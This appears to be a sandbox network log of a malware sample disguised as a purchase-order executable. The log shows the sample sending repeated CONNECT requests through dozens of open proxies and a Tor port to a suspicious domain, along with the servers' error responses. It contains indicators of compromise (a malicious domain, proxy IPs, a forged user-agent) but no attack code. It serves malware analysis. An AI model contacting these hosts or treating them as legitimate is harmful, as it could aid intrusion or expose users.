Mar 11, 2024 16:40:10.582689047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.10	51798	221.153.92.39	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.453371048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.10	51759	185.217.143.23	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.457385063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.798003912 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.10	51788	193.239.58.92	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.462714911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.10	51253	98.162.25.29	31679	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.466727972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.10	51879	199.116.114.11	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.469902992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.10	51934	172.67.181.32	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.473007917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.627327919 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.10	51940	185.162.228.154	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.475466967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.629563093 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.10	51807	152.32.130.117	18080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.475605011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.10	51749	31.148.207.153	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.482043982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.10	52103	43.157.47.7	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.494663954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.10	52109	43.157.47.7	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.498370886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.10	51794	103.200.135.229	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.499458075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.10	52110	43.157.47.7	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.500523090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.10	52113	43.157.47.7	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.502243042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.10	51827	198.44.255.3	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.555617094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.10	51823	211.222.252.187	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.555720091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.10	51833	203.74.125.18	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.555807114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.10	51897	174.77.111.198	49547	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.585190058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.10	49909	194.182.187.78	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.585659981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.952697992 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.10	51832	140.82.35.234	44444	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.586071968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.667617083 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.10	51918	24.249.199.12	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.586405993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.10	51685	124.160.118.183	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.587675095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.087120056 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx/1.8.1 Date: Tue, 12 Mar 2024 04:00:53 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.8.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.10	51844	147.75.34.85	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.588337898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.892329931 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.10	51962	194.4.50.62	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.592194080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.10	51866	154.12.178.107	29985	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.594808102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.10	51854	82.223.121.72	15464	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.595124960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.301513910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.287974119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.10	51994	104.17.50.45	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.598066092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.755069017 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.10	51820	186.124.164.213	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.599801064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.10	51838	1.15.62.12	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.608506918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.10	51888	20.37.207.8	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.608573914 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
